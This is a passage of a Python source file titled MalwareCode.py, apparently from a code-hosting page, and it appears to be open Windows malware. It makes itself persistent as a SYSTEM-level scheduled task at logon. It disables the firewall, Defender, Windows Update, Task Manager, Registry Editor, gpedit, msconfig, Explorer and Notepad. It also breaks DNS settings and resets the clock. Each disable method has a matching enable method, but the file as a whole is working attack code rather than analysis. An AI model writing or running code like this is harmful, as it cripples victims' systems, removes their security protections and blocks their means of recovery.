-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMalwareCode.py
1895 lines (1619 loc) · 83.8 KB
/
MalwareCode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from __future__ import annotations
import configparser
import ctypes
import functools
import logging
import os
import random
import shutil
import string
import subprocess
import threading
import time
import winreg as reg
import colorlog
import pyautogui
import pygetwindow as gw
import win32clipboard
import win32con
import win32gui
import wmi
# ------------- Config Mechanism And Constants Setup --------------- #
# noinspection DuplicatedCode
# Create a ConfigParser object
config = configparser.ConfigParser()
# Read the config.ini file
config.read("config.ini")
LOG_LEVEL = config.get("Core Settings", "LOG_LEVEL", fallback="CRITICAL")
USE_DAEMON = config.getboolean("Core Settings", "USE_DAEMON", fallback=True)
# -------------------- Setup Logging Mechanism -------------------- #
logger = colorlog.getLogger()
logger.setLevel(getattr(logging, LOG_LEVEL, logging.INFO))
handler = colorlog.StreamHandler()
log_colors = {
"DEBUG": "cyan",
"INFO": "green",
"WARNING": "yellow",
"ERROR": "red",
"CRITICAL": "red",
}
formatter = colorlog.ColoredFormatter(
"%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s",
log_colors=log_colors,
)
handler.setFormatter(formatter)
logger.addHandler(handler)
log = colorlog.getLogger(__name__)
# ---------------------------- Core Code --------------------------- #
class Core:
def __init__(self):
self.PATH = os.path.abspath(__file__)
self.MOVE_TO = config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp")
fallback_name = "".join(
random.choices(string.ascii_letters + string.digits, k=random.randint(5, 10)))
self.TASK_NAME = config.get("Core Settings", "TASK_NAME", fallback=fallback_name)
def move_script(self):
"""
Moves the script to a different location.
"""
# Check if the file exists
if not os.path.isfile(self.PATH):
raise FileNotFoundError(f"The specified file does not exist: {self.PATH}")
# Check if the destination directory exists
if not os.path.isdir(self.MOVE_TO):
raise NotADirectoryError(f"The specified destination is not a directory: {self.MOVE_TO}")
# Construct the destination file path
destination_file_path = os.path.join(self.MOVE_TO, os.path.basename(self.PATH))
destination_config_path = os.path.join(self.MOVE_TO, os.path.basename("config.ini"))
try:
# Move the file to the destination directory
shutil.move(self.PATH, destination_file_path)
shutil.copy("config.ini", destination_config_path)
log.info(f"File moved successfully to {destination_file_path}")
except Exception as ex:
log.error(f"Unexpected error: {ex}")
def add_to_startup(self):
"""
Adds a file to startup execution with the highest permissions using Task Scheduler.
"""
# Check if the file exists
if not os.path.isfile(self.MOVE_TO):
raise FileNotFoundError(f"The specified file does not exist: {self.MOVE_TO}")
# Construct the Task Scheduler command
command = [
"schtasks",
"/create",
"/tn", self.TASK_NAME, # Task name
"/tr", self.MOVE_TO, # Path to the file
"/sc", "onlogon", # Trigger: on user logon
"/ru", "SYSTEM", # Run as the SYSTEM user, allows background execution
"/rl", "highest", # Run with the highest privileges
]
try:
# Run the command to create the task
subprocess.run(command, check=True, shell=True)
log.info(
f"Task '{self.TASK_NAME}' created successfully! The file '{self.MOVE_TO}' will execute at startup with highest privileges. Will hide silently until then")
except subprocess.CalledProcessError as e:
log.error(f"Failed to create the startup task. {e}")
except Exception as ex:
log.error(f"Unexpected error: {ex}")
def is_admin() -> bool:
"""Check if the script is running with admin privileges."""
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except Exception:
return False
def take_ownership(file_path: str):
"""Take ownership of a file or directory."""
# Take ownership of the gpedit.msc file
output = subprocess.run(fr"takeown /f {file_path}",
shell=True, capture_output=True, text=True)
if output.returncode != 0:
log.error(f"Error taking ownership of {file_path}: {output.stderr}")
exit(1)
subprocess.run(f"icacls {file_path} /grant Administrators:F", shell=True)
log.info(f"Ownership of {file_path} has been taken.")
# ------------------------- Decorators Code ----------------------- #
def experimental(func: callable) -> callable:
@functools.wraps(func)
def wrapper(*args, **kwargs) -> callable:
log.warning(f"{func.__name__}() is an experimental feature, don't rely on it!")
return func(*args, **kwargs)
return wrapper
def not_tested(func: callable) -> callable:
@functools.wraps(func)
def wrapper(*args, **kwargs) -> callable:
log.warning(f"{func.__name__}() is a non-tested feature, don't rely on it!")
return func(*args, **kwargs)
return wrapper
# ------------------ Remove Process/Features Code DB ----------------- #
class Remove:
@staticmethod
def close_all_windows():
ctypes.windll.user32.PostMessageW(0xffff, 0x0112, 0xF060, 0)
class Registry:
@staticmethod
def enable():
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
reg.SetValueEx(key, "DisableRegistryTools", 0, reg.REG_DWORD, 0)
log.info("Registry Editor enabled successfully.")
except Exception as e:
log.error(f"Failed to enable Registry Editor: {e}")
@staticmethod
def disable():
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
reg.SetValueEx(key, "DisableRegistryTools", 0, reg.REG_DWORD, 1)
log.info("Registry Editor disabled successfully.")
except Exception as e:
log.error(f"Failed to disable Registry Editor: {e}")
class MsConfig:
def __init__(self):
self.MSCONFIG = config.get("Remove.MsConfig", "PATH", fallback="C:\\Windows\\System32\\msconfig.exe")
def disable(self):
"""
Disable MsConfig by denying access to the msconfig.exe file.
"""
try:
take_ownership(self.MSCONFIG)
# Command to deny access to all users
command = f"icacls '{self.MSCONFIG}' /deny Everyone:F"
result = subprocess.run(command, shell=True, capture_output=True, text=True)
if result.returncode == 0:
log.info("MsConfig has been successfully disabled.")
else:
log.error(f"Error disabling MsConfig: {result.stderr}")
except Exception as e:
log.error(f"Exception occurred: {e}")
def enable(self):
"""
Re-enable MsConfig by resetting the permissions on the msconfig.exe file.
"""
try:
take_ownership(self.MSCONFIG)
# Command to remove the deny rule
command = f"icacls '{self.MSCONFIG}' /remove:d Everyone"
result = subprocess.run(command, shell=True, capture_output=True, text=True)
if result.returncode == 0:
log.info("MsConfig has been successfully re-enabled.")
else:
log.error(f"Error enabling MsConfig: {result.stderr}")
except Exception as e:
log.error(f"Exception occurred: {e}")
class TaskManager:
@staticmethod
def disable():
"""Disables Task Manager by modifying the registry."""
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
reg.SetValueEx(key, "DisableTaskMgr", 0, reg.REG_DWORD, 1)
log.info("Task Manager has been disabled.")
except Exception as e:
log.error(f"Failed to disable Task Manager: {e}")
@staticmethod
def enable():
"""Re-enables Task Manager by modifying the registry."""
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
with reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
reg.DeleteValue(key, "DisableTaskMgr")
log.info("Task Manager has been enabled.")
except FileNotFoundError:
log.warning("Task Manager is already enabled.")
except Exception as e:
log.error(f"Failed to enable Task Manager: {e}")
class TimeSync:
@staticmethod
def disable():
try:
# Step 1: Set system time to 00:00 (midnight)
# This works only if you have the required privileges (admin)
set_time_command = "time 00:00:00"
subprocess.run(set_time_command, shell=True, check=True)
# Step 2: Disable Windows Time service (w32time)
subprocess.run(["sc", "stop", "w32time"], check=True) # Stop the service
subprocess.run(["sc", "config", "w32time", "start=", "disabled"],
check=True) # Disable from auto-starting
# Step 3: Disable Windows Time synchronization in Control Panel
# Changing registry to disable time sync (disabling "Internet Time" in Date and Time settings)
subprocess.run(
["reg", "add", r"HKCU\Control Panel\International", "/v", "TimeZoneKeyName", "/t", "REG_SZ", "/d",
"UTC", "/f"], check=True)
log.info("Time has been set to 00:00 and time sync services have been disabled.")
except Exception as e:
log.error("Error occurred while disabling time sync: ", e)
@staticmethod
def enable():
try:
# Step 1: Enable the Windows Time service (w32time)
subprocess.run(["sc", "config", "w32time", "start=", "auto"], check=True)
# Step 2: Start the Windows Time service (w32time)
result = subprocess.run(["sc", "query", "w32time"], capture_output=True, text=True)
if "RUNNING" not in result.stdout:
subprocess.run(["sc", "start", "w32time"], check=True)
# Step 3: Restore automatic time synchronization
subprocess.run(["reg", "delete", r"HKCU\Control Panel\International", "/v", "TimeZoneKeyName", "/f"],
check=True)
log.info("Time synchronization has been restored.")
except Exception as e:
log.error("Error occurred while enabling time sync: ", e)
class GpEdit:
def __init__(self):
self.GP_SERVICE_KEYS = [
r"SOFTWARE\Policies\Microsoft\Windows\System",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
]
self.GPEDIT = r"C:\Windows\System32\gpedit.msc"
@staticmethod
def __stop_gpedit_services(service_name: str) -> None:
"""Try to stop a service if it's running."""
status = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
if "ERROR" in status.stderr:
log.warning(f"Service {service_name} is not found or already stopped.")
return
# Attempt to stop the service
stop_status = subprocess.run(f"net stop {service_name}", shell=True, capture_output=True, text=True)
if stop_status.returncode == 0:
log.info(f"Service {service_name} stopped successfully.")
else:
log.error(f"Failed to stop service {service_name}: {stop_status.stderr}")
def disable(self):
"""
Disable Group Policy Editor by modifying the registry and blocking the executable.
"""
# Modify the registry to disable gpedit.msc
take_ownership(self.GPEDIT)
try:
for key_path in self.GP_SERVICE_KEYS:
with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
reg.SetValueEx(key, "DisableGpedit", 0, reg.REG_DWORD, 1)
log.info("Registry keys have been updated to disable gpedit.msc.")
except Exception as e:
log.error(f"Error modifying the registry: {e}")
# Block access to the gpedit.msc executable by changing permissions
if os.path.exists(self.GPEDIT):
subprocess.run(f"icacls {self.GPEDIT} /deny Everyone:F", shell=True)
log.info("Permissions for gpedit.msc have been modified to prevent access.")
# Stop related services gracefully
self.__stop_gpedit_services("gpsvc") # Group Policy Client service
self.__stop_gpedit_services("netprofm") # Network List Service
def enable(self) -> None:
"""
Re-enable Group Policy Editor by restoring registry settings and file permissions.
"""
# Restore registry settings to allow gpedit.msc
take_ownership(self.GPEDIT)
try:
for key_path in self.GP_SERVICE_KEYS:
with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
reg.SetValueEx(key, "DisableGpedit", 0, reg.REG_DWORD, 0)
log.info("Registry keys have been restored to enable gpedit.msc")
except Exception as e:
log.error(f"Error restoring the registry: {e}")
return
# Restore permissions for gpedit.msc to allow access
if os.path.exists(self.GPEDIT):
subprocess.run(f"icacls {self.GPEDIT} /remove:d Everyone", shell=True)
log.info("Permissions for gpedit.msc have been restored.")
# Start services if necessary
subprocess.run("net start gpsvc", shell=True) # Group Policy Client service
subprocess.run("net start netprofm", shell=True) # Network List Service
log.info("Related services have been restarted.")
class Explorer:
@staticmethod
def disable():
try:
# Stop the explorer.exe process
subprocess.run("taskkill /f /im explorer.exe", shell=True)
log.info("Windows Explorer has been disabled.")
# Disable it from automatically restarting by modifying the registry (optional)
key = r"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
try:
subprocess.run(f"reg add {key} /v NoExplorer /t REG_DWORD /d 1 /f", shell=True)
log.info("Explorer auto-restart has been disabled via registry.")
except Exception as e:
log.error(f"Error disabling auto-restart in registry: {e}")
except Exception as e:
log.error(f"Error disabling Explorer: {e}")
@staticmethod
def enable():
try:
# Remove registry key to allow Explorer restart (optional)
key = r"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
subprocess.run(f"reg delete {key} /v NoExplorer /f", shell=True)
log.info("Explorer auto-restart has been re-enabled via registry.")
# Start the explorer.exe process again
subprocess.run("start explorer.exe", shell=True)
log.info("Windows Explorer has been re-enabled.")
except Exception as e:
log.error(f"Error re-enabling Explorer: {e}")
class Notepad:
@staticmethod
def __gpupdate():
subprocess.run(["gpupdate", "/force"], shell=True, capture_output=True, text=True)
def disable(self):
try:
# Ensure the "Explorer" key exists
try:
reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
0,
reg.KEY_WRITE)
except FileNotFoundError:
reg.CreateKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")
# Access the "Explorer" registry key
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
0,
reg.KEY_WRITE)
# Add DisallowRun if not already set
try:
reg.OpenKey(reg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
reg.KEY_WRITE)
except FileNotFoundError:
reg.CreateKey(reg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun")
# Add Notepad to the disallowed list
key2 = reg.OpenKey(reg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
reg.KEY_WRITE)
reg.SetValueEx(key2, "Notepad.exe", 0, reg.REG_SZ, "")
reg.CloseKey(key)
reg.CloseKey(key2)
self.__gpupdate()
log.info("Notepad has been disabled.")
except Exception as e:
log.error(f"Error: {e}")
def enable(self):
try:
# Ensure the key exists before attempting to remove
key = reg.OpenKey(reg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
reg.KEY_WRITE)
# Delete Notepad from the disallowed list
reg.DeleteValue(key, "Notepad.exe")
reg.CloseKey(key)
# Remove the "DisallowRun" if it"s empty
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
0,
reg.KEY_WRITE)
try:
reg.DeleteKey(reg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun")
except Exception as e:
log.error("Error deleting key: ", e)
finally:
reg.CloseKey(key)
self.__gpupdate()
log.info("Notepad has been enabled.")
except Exception as e:
log.error(f"Error: {e}")
class FireWall:
@staticmethod
def disable():
try:
# Disable Windows Firewall
subprocess.run(["netsh", "advfirewall", "set", "allprofiles", "state", "off"], check=True)
# Disable access to Windows Firewall settings via registry
subprocess.run([
"reg", "add",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile",
"/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
], check=True)
subprocess.run([
"reg", "add",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PrivateProfile",
"/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
], check=True)
subprocess.run([
"reg", "add",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile",
"/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
], check=True)
log.info("Windows Firewall disabled and access restricted.")
except subprocess.CalledProcessError as e:
log.error(f"Error disabling Windows Firewall or restricting access: {e}")
@staticmethod
def enable():
try:
# Enable Windows Firewall
subprocess.run(["netsh", "advfirewall", "set", "allprofiles", "state", "on"], check=True)
# Enable access to Windows Firewall settings via registry
subprocess.run([
"reg", "delete",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile",
"/v", "EnableFirewall", "/f"
], check=True)
subprocess.run([
"reg", "delete",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PrivateProfile",
"/v", "EnableFirewall", "/f"
], check=True)
subprocess.run([
"reg", "delete",
r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile",
"/v", "EnableFirewall", "/f"
], check=True)
log.info("Windows Firewall enabled and access restored.")
except subprocess.CalledProcessError as e:
log.error(f"Error enabling Windows Firewall or restoring access: {e}")
class WindowsUpdate:
def __init__(self):
self.files = [
r"C:\Windows\System32\wuapp.exe",
r"C:\Windows\System32\usoclient.exe",
r"C:\Windows\System32\settingshandlers.dll",
]
def disable(self):
"""
Fully disables the Windows Update service, ensuring it remains stopped across shutdowns.
"""
try:
# Stop the Windows Update service if it's running
result_query = subprocess.run(["sc", "query", "wuauserv"], capture_output=True, text=True)
if "RUNNING" in result_query.stdout:
result_stop = subprocess.run(["sc", "stop", "wuauserv"], capture_output=True, text=True)
log.info(result_stop.stdout)
if result_stop.returncode != 0:
raise Exception(f"Failed to stop service: {result_stop.stderr.strip()}")
else:
log.warning("The Windows Update service is not running.")
# Disable the Windows Update service permanently
result_config = subprocess.run(["sc", "config", "wuauserv", "start=disabled"], capture_output=True,
text=True)
log.info(result_config.stdout)
if result_config.returncode != 0:
raise Exception(f"Failed to disable service: {result_config.stderr.strip()}")
# Disable triggers for the Windows Update service
result_trigger = subprocess.run(["sc", "triggerinfo", "wuauserv", "delete"], capture_output=True,
text=True)
log.info(result_trigger.stdout)
if result_trigger.returncode != 0:
raise Exception(f"Failed to disable service triggers: {result_trigger.stderr.strip()}")
# Modify permissions and block related executables
for file in self.files:
if os.path.exists(file):
take_ownership(file)
self.__block(file)
log.info("Windows Update has been fully disabled.")
except Exception as e:
log.error(f"Error: {e}")
def enable(self):
"""
Enables the Windows Update service, restores triggers, and unblocks related executables.
"""
try:
# Enable the Windows Update service
result_config = subprocess.run(["sc", "config", "wuauserv", "start=auto"], capture_output=True,
text=True)
log.info(result_config.stdout)
if result_config.returncode != 0:
raise Exception(f"Failed to enable service: {result_config.stderr.strip()}")
# Start the Windows Update service
result_start = subprocess.run(["sc", "start", "wuauserv"], capture_output=True, text=True)
log.info(result_start.stdout)
if result_start.returncode != 0:
raise Exception(f"Failed to start service: {result_start.stderr.strip()}")
# Restore any triggers that may have been disabled
result_trigger = subprocess.run(["sc", "triggerinfo", "wuauserv", "enable"], capture_output=True,
text=True)
log.info(result_trigger.stdout)
if result_trigger.returncode != 0:
raise Exception(f"Failed to restore service triggers: {result_trigger.stderr.strip()}")
# Unblock related executables
for file in self.files:
if os.path.exists(file):
take_ownership(file)
self.__unblock(file)
log.info("Windows Update has been fully enabled and restored.")
except Exception as e:
log.error(f"Error: {e}")
@staticmethod
def __block(path):
"""
Blocks execution of Windows Update-related executables by modifying path permissions.
"""
try:
# Path to common Windows Update executables
subprocess.run(["icacls", path, "/deny", "Everyone:(X)"], check=True, capture_output=True, text=True)
log.info("Blocked access to Windows Update executables.")
except Exception as e:
log.error(f"Failed to block Windows Update executables: {e}")
@staticmethod
def __unblock(path):
"""
Restores execution of Windows Update-related executables by modifying path permissions.
"""
try:
subprocess.run(["icacls", path, "/remove:d", "Everyone"], check=True, capture_output=True, text=True)
log.info("Restored access to Windows Update executables.")
except Exception as e:
log.error(f"Failed to unblock Windows Update executables: {e}")
class WindowsDefender:
@staticmethod
@experimental
def disable():
try:
# Disable Windows Defender real-time monitoring via PowerShell
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Set-MpPreference -DisableRealtimeMonitoring $true' -Verb runAs",
check=True, shell=True)
# Stop the Windows Defender service
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Stop-Service WinDefend -Force' -Verb runAs",
check=True, shell=True)
# Disable automatic startup of Windows Defender service
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Set-Service WinDefend -StartupType Disabled' -Verb runAs",
check=True, shell=True)
log.info("Windows Defender has been disabled.")
except subprocess.CalledProcessError as e:
log.error(f"Error disabling Windows Defender: {e}")
@staticmethod
def enable():
try:
log.warning("This may not work as its dependant on weakness in security settings")
try:
ran_process = subprocess.run(
r"C:\Windows\System32\cmd.exe /c powershell Start-Process powershell -ArgumentList 'Stop-Service WinDefend -Force' -Verb runAs",
shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
log.info(ran_process.stdout)
except PermissionError as e:
log.error(f"Error - Most likely Defender Tamper Protection is enabled: {e}")
except Exception as e:
log.error(f"Error: {e}")
# Enable Windows Defender real-time monitoring via PowerShell
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Set-MpPreference -DisableRealtimeMonitoring $false' -Verb runAs",
check=True, shell=True)
# Start the Windows Defender service
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Start-Service WinDefend' -Verb runAs",
check=True, shell=True)
# Enable automatic startup of Windows Defender service
subprocess.run(
"powershell Start-Process powershell -ArgumentList 'Set-Service WinDefend -StartupType Automatic' -Verb runAs",
check=True, shell=True)
log.info("Windows Defender has been enabled.")
except subprocess.CalledProcessError as e:
log.error(f"Error enabling Windows Defender: {e}")
class DHCP:
@staticmethod
def __dhcp_client(use_dhcp: bool):
# Fetch all active interfaces
interfaces = subprocess.check_output(
"netsh interface show interface", shell=True, text=True
)
active_interfaces = [
line.split()[3] for line in interfaces.splitlines()
if "Enabled" in line and "Connected" in line
]
# Disable DHCP and set static IP and DNS for each active interface
if use_dhcp:
source_address = "source=dhcp"
source_dns = "source=dhcp"
else:
source_address = "source=static address=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1"
source_dns = "static addr=192.168.1.100" # Invalid DNS, disables web browsing
for interface in active_interfaces:
# Replace with a valid static IP configuration suitable for your network
subprocess.run(
f"netsh interface ipv4 set address name='{interface}' {source_address}",
shell=True, check=True
)
subprocess.run(
f"netsh interface ipv4 set dns name='{interface}' {source_dns}",
shell=True, check=True
)
def disable(self):
"""
Disables the DHCP client on all network interfaces, sets a static IP and DNS,
and locks both IP and DNS settings to prevent manual editing.
"""
try:
self.__dhcp_client(False)
# Lock both IP and DNS settings by disabling access to the network settings page
os.system(
"reg add 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowNetCfgChanges /t REG_DWORD /d 0 /f")
os.system(
"reg add 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowAdvancedTCPIPConfig /t REG_DWORD /d 0 /f")
log.info("DHCP client disabled, IP and DNS settings configured, and settings locked.")
except Exception as e:
log.error(f"Error disabling DHCP client: {e}")
def enable(self):
"""
Enables the DHCP client on all network interfaces, allowing dynamic IP configuration,
and restores manual editing of IP and DNS settings.
"""
try:
self.__dhcp_client(True)
# Unlock network settings by enabling access to the network settings page
os.system(
"reg delete 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowNetCfgChanges /f")
os.system(
"reg delete 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowAdvancedTCPIPConfig /f")
log.info("DHCP client enabled, and settings unlocked.")
except Exception as e:
log.error(f"Error enabling DHCP client: {e}")
class Taskbar:
@staticmethod
def __create_powershell_command(code: int) -> str:
return """
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Taskbar {
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int FindWindow(string className, string windowName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int ShowWindow(int hwnd, int command);
}
"@
$hwnd = [Taskbar]::FindWindow("Shell_TrayWnd", "")
""" + f"[Taskbar]::ShowWindow($hwnd, {code})"
def disable(self):
# Modify registry to disable taskbar by setting "NoTrayContextMenu" to prevent user access to the taskbar context menu
key = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
value = "NoTrayContextMenu"
# Create registry key if it does not exist
try:
subprocess.run(
["reg", "add", f"HKEY_CURRENT_USER\\{key}", "/v", value, "/t", "REG_DWORD", "/d", "1", "/f"],
check=True)
except subprocess.CalledProcessError as e:
log.error(f"Error modifying registry: {e}")
# Disable the taskbar visibility by hiding it (also hides the Start Menu)
try:
# PowerShell to hide the taskbar
subprocess.run(["powershell", "-Command", self.__create_powershell_command(0)], check=True)
except subprocess.CalledProcessError as e:
log.error(f"Error hiding taskbar: {e}")
# Refresh the UI to apply the changes
ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)
def enable(self):
# Remove registry modification to enable taskbar
key = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
value = "NoTrayContextMenu"
try:
subprocess.run(["reg", "delete", f"HKEY_CURRENT_USER\\{key}\\{value}", "/f"], check=True)
except subprocess.CalledProcessError as e:
log.error(f"Error modifying registry: {e}")
# Restore taskbar visibility
try:
# PowerShell to show the taskbar
subprocess.run(["powershell", "-Command", self.__create_powershell_command(5)], check=True)
except subprocess.CalledProcessError as e:
log.error(f"Error showing taskbar: {e}")
try:
key_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
value_name = "NoTrayContextMenu"
# Open the registry key
with reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
# Set the value to 0 to enable right-click
reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
log.info("Taskbar right-click has been enabled.")
except FileNotFoundError:
log.warning("Registry key not found. Taskbar right-click might already be enabled.")
except Exception as e:
log.error(f"An error occurred: {e}")
# Refresh the UI to apply the changes
ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)
# Restart the explorer process to apply changes
subprocess.run("taskkill /f /im explorer.exe", shell=True)
subprocess.run("start explorer.exe", shell=True)
class StartMenu:
# Constants for registry modification
def __init__(self):
self.KEY = reg.HKEY_CURRENT_USER
self.REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
self.REG_VALUE = "NoStartMenuMorePrograms"
def disable(self):
"""Disables the Start button by modifying the registry."""
try:
# Open the registry key with read/write permissions
registry_key = reg.CreateKey(self.KEY, self.REG_PATH)
# Set the registry value to disable the Start button ("1" means disabled)
reg.SetValueEx(registry_key, self.REG_VALUE, 0, reg.REG_DWORD, 1)
reg.CloseKey(registry_key)
# Optionally, you could trigger a system refresh here (for immediate effect).
ctypes.windll.user32.LockWorkStation() # Lock workstations to refresh
except Exception as e:
log.info(f"Error disabling Start button: {e}")
